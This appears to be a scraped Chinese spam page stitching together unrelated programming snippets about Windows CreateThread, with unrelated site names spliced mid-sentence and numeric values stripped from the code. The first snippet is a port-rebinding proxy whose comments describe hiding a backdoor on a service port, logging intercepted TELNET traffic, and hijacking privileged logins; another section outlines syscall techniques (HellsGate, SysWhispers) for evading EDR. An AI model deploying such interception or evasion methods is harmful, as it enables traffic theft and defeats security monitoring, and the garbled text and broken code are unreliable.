【autojs实例源码】【肉溯源码】【elupload组件源码】createthread源码

1.C++下如何实现端口监视
2.CCriticalSection missing ';' before identifier
3.免杀动态对抗之syscall[源码分析]
4.易语言暂停多个进程

createthread源码

C++下如何实现端口监视

       çœ‹çœ‹æœ‰æ²¡æœ‰ç”¨

       ==============

       #include "stdafx.h"

       #include <winsock2.h>

       #include <windows.h>

       //#include <stdio.h>

       #include <stdlib.h>

       #include <fstream.h>

       DWORD WINAPI ClientThread(LPVOID lpParam);

       int main(int argc,源码 char* argv[])

       {

        if (argc!=2)

        {

        printf("using: listen [your ip address]\nfor example:\n listen ...2\n");

        return 0;

        }

        WORD wVersionRequested;

        DWORD ret;

        WSADATA wsaData;

        BOOL val;

        SOCKADDR_IN saddr;

        SOCKADDR_IN scaddr;

        int err;

        SOCKET s;

        SOCKET sc;

        int caddsize;

        HANDLE mt;

        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );

        err = WSAStartup( wVersionRequested, &wsaData );

        if ( err != 0 ) {

        printf("error!WSAStartup failed!\n");

        return -1;

        }

        saddr.sin_family = AF_INET;

        //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

        saddr.sin_addr.s_addr = inet_addr(argv[1]);

        saddr.sin_port = htons();

        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = TRUE;

        //SO_REUSEADDR选项就是可以实现端口重绑定的

        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

        {

        printf("error!setsockopt failed!\n");

        return -1;

        }

        //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;

        //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽

        //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)

        {

        ret=GetLastError();

        printf("error!bind failed!\n");

        return -1;

        }

        listen(s,2);

        while(1)

        {

        caddsize = sizeof(scaddr);

        //接受连接请求

        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);

        if(sc!=INVALID_SOCKET)

        {

        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);

        if(mt==NULL)

        {

        printf("Thread Creat Failed!\n");

        break;

        }

        }

        CloseHandle(mt);

        }

        closesocket(s);

        WSACleanup();

        return 0;

       }

       DWORD WINAPI ClientThread(LPVOID lpParam)

       {

        SOCKET ss = (SOCKET)lpParam;

        SOCKET sc;

        char buf[];

        SOCKADDR_IN saddr;

        long num;

        DWORD val;

        DWORD ret;

        //如果是隐藏端口应用的话,可以在此处加一些判断

        //如果是自己的包,就可以进行一些特殊处理,不是的话通过.0.0.1进行转发

        saddr.sin_family = AF_INET;

        saddr.sin_addr.s_addr = inet_addr(".0.0.1");

        saddr.sin_port = htons();

        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = ;

        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)

        {

        printf("error!socket connect failed!\n");

        closesocket(sc);

        closesocket(ss);

        return -1;

        }

        // 写入文件:

        ofstream oFile("portlog.txt");

        if(!oFile)

        {

        printf("cannot write to the file.\n");

        closesocket(ss);

        closesocket(sc);

        return 0 ;

        }

        while(1)

        {

        //下面的代码主要是实现通过。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。

        //如果是嗅探内容的话,可以再此处进行内容分析和记录

        //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。

        num = recv(ss,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(sc,buf,num,0);

        }

        else if(num==0)

        break;

        num = recv(sc,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(ss,buf,num,0);

        }

        else if(num==0)

        break;

        }

        oFile.close();

        closesocket(ss);

        closesocket(sc);

        return 0 ;

       }

CCriticalSection missing ';' before identifier

       CCriticalSection使用这个类,要包含头文件afxmt.h.但是这个类好像是应用到MFC中的。不能与#include <windows.h>同时使用。建议使用CRITICAL_SECTION m_Sec;来定义临界区。使用

       EnterCriticalSection(&m_Sec);进入并锁定临界区,LeaveCriticalSection(&m_Sec);离开临界区。

       å…·ä½“代码如下:

       #include <WINDOWS.H>

       #include <STDIO.H>

       DWORD WINAPI myfun1(LPVOID lpParameter);

       DWORD WINAPI myfun2(LPVOID lpParameter);

       CRITICAL_SECTION m_Sec;

       int a = 0;

       int main()

       {

        InitializeCriticalSection(&m_Sec);//初始化临界区

        HANDLE h1, h2;

        h1 = ::CreateThread(NULL, 0, myfun1, NULL, 0, NULL);

        printf("线程1开始运行!\r\n");

        h2 = ::CreateThread(NULL, 0, myfun2, NULL, 0, NULL);

        printf("线程2开始运行!\r\n");

        ::CloseHandle(h1);

        ::CloseHandle(h2);

        ::Sleep();

        DeleteCriticalSection(&m_Sec);

        return 0;

       }

       DWORD WINAPI myfun1(LPVOID lpParameter)

       {

        EnterCriticalSection(&m_Sec);

        a++;

        printf("%d", a);

        LeaveCriticalSection(&m_Sec);

        return 0;

       }

       DWORD WINAPI myfun2(LPVOID lpParameter)

       {

        EnterCriticalSection(&m_Sec);

        a++;

        printf("%d", a);

        LeaveCriticalSection(&m_Sec);

        return 0;

       }

免杀动态对抗之syscall[源码分析]

       基础概念

       操作系统分为内核和应用层,从R0-R3,源码R0是源码内核,R3是源码用户层。Windows中日常调用的源码API都是R3抽象出来的接口,虽然Win API它也是源码autojs实例源码R3接口,但由于Windows的源码设计思想就是高度封装,实际上的源码R3 API是ntdll.dll中的函数。

       我们调用的源码Win API都是kernel.dll/user.dll中的函数,最终都要经过ntdll.dll。源码

       逆向学习一个函数,源码选定CreateThread,源码ntdll中的源码肉溯源码对应函数是NtCreateThread。可以看到首先给eax赋值(系统调用号SSN),源码然后再执行syscall。源码

       EDR的工作原理是对Windows API进行hook。一般使用inline hook,即将函数的开头地址值改成jmp xxxxxxx(hook函数地址)。知道了syscall的elupload组件源码调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对API的hook。

       学习不同项目对应的手法,如HellsGate、TartarusGate、会计兼职源码GetSSN、SysWhispers等。这些项目通过遍历解析ntdll.dll模块的导出表,定位函数地址,获取系统调用号SSN,实现动态获取SSN。博客blog源码

       使用直接系统调用或间接系统调用,如SysWhispers系列项目的直接系统调用(手搓syscall asm)和间接系统调用(使用用户态API,如kernel.dll中的API)。系统调用号SSN在不同版本的系统下是不一样的,可以参考相关技术博客整理的列表。

       SysWhispers2使用随机系统调用跳转(Random Syscall Jumps)避免“系统调用的标记”,通过SW__GetRandomSyscallAddress函数在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。

       SysWhispers3引入了egg技术(动态字符替换,汇编指令层次的混淆)和支持直接跳转到syscalls,是spoof call的变体,绕过对用户态asm文件syscall的监控。

       HWSyscalls项目通过kernel gadget,跳到ntdll.dll中做间接syscall,更彻底地实现了间接系统调用。

       这些项目的实现涉及软件中自定义堆栈流程、硬件断点等技术,通过内核函数调用、动态字符替换、异常处理机制等,绕过EDR检测和系统调用监控,实现免杀动态对抗。

易语言暂停多个进程

       OpenProcess 取得 process handle 2.CreateToolhelpSnapshot 得到一个snapshot 3.然后调 ThreadFirst,ThreadNext 取线程

       源码:.版本 2.DLL命令 暂停线程, 整数型, "kernel.dll", "SuspendThread" .参数 hThread, 整数型, , 线程句柄.DLL命令 恢复线程, 整数型, "kernel.dll", "ResumeThread", , 解除挂起 .参数 hThread, , , 线程句柄.DLL命令 创建线程, 整数型, "kernel.dll", "CreateThread" .参数 lpThreadAttributes, 整数型 .参数 dwStackSize, 整数型 .参数 子程序指针, 子程序指针 .参数 参数, 整数型 .参数 dwCreationFlags, 整数型 .参数 线程ID, 整数型, 传址.DLL命令 销毁线程, , "kernel.dll", "TerminateThread" .参数 线程ID, 整数型 .参数 dwExitCode, 整数型

更多内容请点击【时尚】专栏

精彩资讯